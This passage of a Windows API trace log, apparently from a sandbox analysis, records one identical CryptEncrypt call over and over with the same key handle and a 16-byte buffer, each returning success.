CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.376] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.377] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.378] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.379] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: 